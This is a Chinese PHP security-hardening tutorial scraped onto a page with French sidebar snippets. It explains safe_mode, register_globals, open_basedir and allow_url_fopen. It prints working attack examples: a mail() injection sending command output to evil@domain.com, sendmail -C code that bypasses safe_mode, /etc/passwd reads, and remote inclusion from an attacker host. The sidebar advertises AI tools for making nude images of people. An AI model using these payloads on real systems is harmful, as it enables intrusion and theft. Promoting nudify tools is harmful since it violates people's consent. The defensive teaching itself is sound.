PHP安全配置_PHP教程
Jul 21, 2016 pm 04:09 PM
版本:0.02
一、Web服務(wù)器安全
PHP其實不過是Web服務(wù)器的一個模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個禁錮的系統(tǒng),不會危害實際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現(xiàn)socket連接,這在效率上會稍微差一點。還有mail函數(shù)發(fā)送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是針對Win32平臺,所以需要在chroot環(huán)境下調(diào)整好sendmail。
二、PHP本身問題
1、遠(yuǎn)程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、遠(yuǎn)程拒絕服務(wù)
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個參數(shù),由于設(shè)計者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:
mail("foo@bar,"foo","bar","",$bar); ?>
執(zhí)行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。
對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進(jìn)行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)置。通過phpinfo()和get_cfg_var()函數(shù)可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項是對Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設(shè)置,也可以通過在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對當(dāng)前目錄的腳本程序生效,ini_set()函數(shù)只對該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當(dāng)前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應(yīng)該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設(shè)置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
Options FollowSymLinks
php_admin_value safe_mode 1
重啟apache后safe_mode就生效了。啟動safe_mode,會對許多PHP函數(shù)進(jìn)行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。
所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為:
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達(dá)不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項:
safe_mode_gid = On
設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會被禁止。如果確實需要調(diào)用其它程序,可以在php.ini做如下設(shè)置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。
safe_mode_include_dir string
當(dāng)從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風(fēng)格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那么請在結(jié)尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
設(shè)置某些環(huán)境變量可能是潛在的安全缺口。本指令包含有一個逗號分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這里提供的前綴的環(huán)境變量。默認(rèn)情況下,用戶只能設(shè)置以 PHP_ 開頭的環(huán)境變量(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環(huán)境變量!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環(huán)境變量的列表,最終用戶不能用 putenv() 來改變這些環(huán)境變量。甚至在 safe_mode_allowed_env_vars 中設(shè)置了允許修改時也不能改變這些變量。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強(qiáng)烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應(yīng)用帶來影響,所以還需要調(diào)整代碼和配置才能和諧。被安全模式限制或屏蔽的函數(shù)可以參考PHP手冊。
討論完safe_mode后,下面結(jié)合程序代碼實際可能出現(xiàn)的問題討論如何通過對PHP服務(wù)器端的配置來避免出現(xiàn)的漏洞。
2、變量濫用
PHP默認(rèn)register_globals = On,對于GET, POST, Cookie, Environment, Session的變量可以直接注冊成全局變量。它們的注冊順序是variables_order = "EGPCS"(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習(xí)慣,像如下的程序片斷就極易受到攻擊:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠(yuǎn)程文件拷貝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0發(fā)布的時候建議關(guān)閉register_globals,并提供了7個特殊的數(shù)組變量來使用各種變量。對于從GET、POST、COOKIE等來的變量并不會直接注冊成變量,必需通過數(shù)組變量來存取。PHP-4.2.0發(fā)布的時候,php.ini默認(rèn)配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認(rèn)值,一般為0,避免了攻擊者控制判斷變量。
解決方法:
配置文件php.ini設(shè)置register_globals = Off。
要求程序員對作為判斷的變量在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>
由于攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下請求可以讀php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打開函數(shù)還有fopen(), file()等,如果對文件名變量檢查不嚴(yán)就會造成服務(wù)器重要文件被訪問讀取。
解決方法:
如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經(jīng)討論過了。
4、包含文件
極易受攻擊的代碼片斷:
//test_3.php
if(file_exists($filename))
include("$filename");
?>
這種不負(fù)責(zé)任的代碼會造成相當(dāng)大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果對于Unix版的PHP(Win版的PHP不支持遠(yuǎn)程打開文件)攻擊者可以在自己開了http或ftp服務(wù)的機(jī)器上建立一個包含shell命令的文件,如http://attack/attack.txt的內(nèi)容是,那么如下的請求就可以在目標(biāo)主機(jī)執(zhí)行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以通過包含apache的日志文件access.log和error.log來得到執(zhí)行命令的代碼,不過由于干擾信息太多,有時不易成功。
對于另外一種形式,如下代碼片斷:
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機(jī)建立一個包含執(zhí)行命令代碼的config.php文件,然后用如下請求也可以在目標(biāo)主機(jī)執(zhí)行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函數(shù)有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴(yán)就會對系統(tǒng)造成嚴(yán)重危險,可以遠(yuǎn)程執(zhí)行命令。
解決方法:
要求程序員包含文件里的參數(shù)盡量不要使用變量,如果使用變量,就一定要嚴(yán)格檢查要包含的文件名,絕對不能由用戶任意指定。
如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關(guān)閉PHP的遠(yuǎn)程文件打開功能。修改php.ini文件:
allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機(jī)制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認(rèn)是系統(tǒng)的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機(jī)臨時文件,程序執(zhí)行結(jié)束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)
$file #就是保存到服務(wù)器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型
推薦使用:
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
這是一個最簡單的文件上傳代碼:
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功!點擊繼續(xù)上傳";
exit;
}
?>

Outils d'IA chauds

Undress AI Tool
Images de déshabillage gratuites

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
échangez les visages dans n'importe quelle vidéo sans effort grace à notre outil d'échange de visage AI entièrement gratuit?!

Article chaud

Outils chauds

Bloc-notes++7.3.1
éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

PhpisstillRelevantinmodernerterpriseenvironments.1.modernPhp (7.xand8.x) offre des performances, des stricts, un jitcompilation, et modernsyntax, rendant la main

Pour construire un microservice PHP flexible, vous devez utiliser RabbitMQ pour obtenir une communication asynchrone, 1. Découplez le service via des files d'attente de messages pour éviter les défaillances en cascade; 2. Configurer des files d'attente persistantes, des messages persistants, une confirmation de libération et un ACK manuel pour assurer la fiabilité; 3. Utilisez des échecs de traitement de la sécurité de la file d'attente de la file d'attente de la file d'attente de la file d'attente de la file d'attente de la file d'attente de la file d'attente de la file d'attente de la file d'attente; 4. Utilisez des outils tels que SuperVisord pour protéger les processus de consommation et permettre des mécanismes de battements cardiaques pour assurer la santé des services; et finalement réaliser la capacité du système à opérer en continu en échecs.

évitez N 1 Problèmes de requête, réduisez le nombre de requêtes de base de données en chargeant à l'avance des données associées; 2. Sélectionnez uniquement les champs requis pour éviter de charger des entités complètes pour enregistrer la mémoire et la bande passante; 3. Utilisez raisonnablement les stratégies de cache, telles que le cache secondaire de la doctrine ou les résultats de requête à haute fréquence de cache de Doctrine; 4. Optimisez le cycle de vie de l'entité et appelez régulièrement () pour libérer la mémoire pour empêcher le débordement de la mémoire; 5. Assurez-vous que l'indice de base de données existe et analysez les instructions SQL générées pour éviter les requêtes inefficaces; 6. Désactiver le suivi automatique des changements dans les scénarios où les modifications ne sont pas nécessaires et utilisez des tableaux ou des modes légers pour améliorer les performances. L'utilisation correcte de l'ORM nécessite de combiner la surveillance SQL, la mise en cache, le traitement par lots et l'optimisation appropriée pour garantir les performances de l'application tout en maintenant l'efficacité du développement.

L'utilisation de l'image de base PHP correcte et la configuration d'un environnement Docker sécurisé et optimisé sont la clé pour obtenir la production prête. 1. Sélectionnez PHP: 8.3-FPM-Alpine comme image de base pour réduire la surface d'attaque et améliorer les performances; 2. Désactiver les fonctions dangereuses via PHP.ini personnalisé, désactiver l'affichage des erreurs et activer Opcache et Jit pour améliorer la sécurité et les performances; 3. Utilisez Nginx comme proxy inverse pour restreindre l'accès aux fichiers sensibles et transférer correctement les demandes PHP à PHP-FPM; 4. Utilisez des images d'optimisation en plusieurs étapes pour supprimer les dépendances de développement et configurez les utilisateurs non racinaires pour exécuter des conteneurs; 5. Supervisord facultatif pour gérer plusieurs processus tels que Cron; 6. Vérifiez qu'aucune fuite d'informations sensibles avant le déploiement

Utilisez Sub-Process.run () pour exécuter en toute sécurité les commandes de shell et la sortie de capture. Il est recommandé de transmettre des paramètres dans les listes pour éviter les risques d'injection; 2. Lorsque les caractéristiques du shell sont nécessaires, vous pouvez définir Shell = True, mais méfiez-vous de l'injection de commande; 3. Utilisez un sous-processus.popen pour réaliser le traitement de sortie en temps réel; 4. SET CHECK = TRUE pour lancer des exceptions lorsque la commande échoue; 5. Vous pouvez appeler directement des cha?nes pour obtenir la sortie dans un scénario simple; Vous devez donner la priorité à Sub-Process.run () dans la vie quotidienne pour éviter d'utiliser OS.System () ou les modules obsolètes. Les méthodes ci-dessus remplacent l'utilisation du noyau de l'exécution des commandes shell dans Python.

Le fichier SetfitS.JSON est situé dans le chemin de niveau utilisateur ou au niveau de l'espace de travail et est utilisé pour personnaliser les paramètres VScode. 1. Chemin de niveau utilisateur: Windows est C: \ Users \\ AppData \ Roaming \ Code \ User \ Settings.json, macOS est /users//library/applicationsupport/code/user/settings.json, Linux est /home//.config/code/user/settings.json; 2. Chemin au niveau de l'espace de travail: .vscode / Paramètres dans le répertoire racine du projet

Le mécanisme de collecte des ordures de PHP est basé sur le comptage de référence, mais les références circulaires doivent être traitées par un collecteur de déchets circulaires périodique; 1. Le nombre de références libère la mémoire immédiatement lorsqu'il n'y a pas de référence à la variable; 2. Référence La référence fait que la mémoire ne peut pas être automatiquement libérée, et cela dépend de GC pour le détecter et le nettoyer; 3. GC est déclenché lorsque la "racine possible" Zval atteint le seuil ou appelle manuellement gc_collect_cycles (); 4. Les applications PHP à long terme devraient surveiller GC_Status () et appeler GC_COLLECT_CYCLES () à temps pour éviter la fuite de mémoire; 5. Les meilleures pratiques incluent d'éviter les références circulaires, en utilisant gc_disable () pour optimiser les zones clés de performance et les objets de déréférence via la méthode Clear () d'Orm.

BREF permet aux développeurs PHP de créer des applications évolutives et rentables sans gérer les serveurs. 1.BREF apporte PHP à Awslambda en fournissant une couche d'exécution PHP optimisée, prend en charge PHP8.3 et d'autres versions, et s'intègre de manière transparente à des frameworks tels que Laravel et Symfony; 2. Les étapes de déploiement incluent: l'installation de BREF à l'aide de composer, configurer Serverless.yml pour définir des fonctions et des événements, tels que les points de terminaison HTTP et les commandes artisanales; 3. Exécutez la commande ServerlessDeploy pour terminer le déploiement, configurez automatiquement Apigeway et générez des URL d'accès; 4. Pour les restrictions de lambda, BREF fournit des solutions.
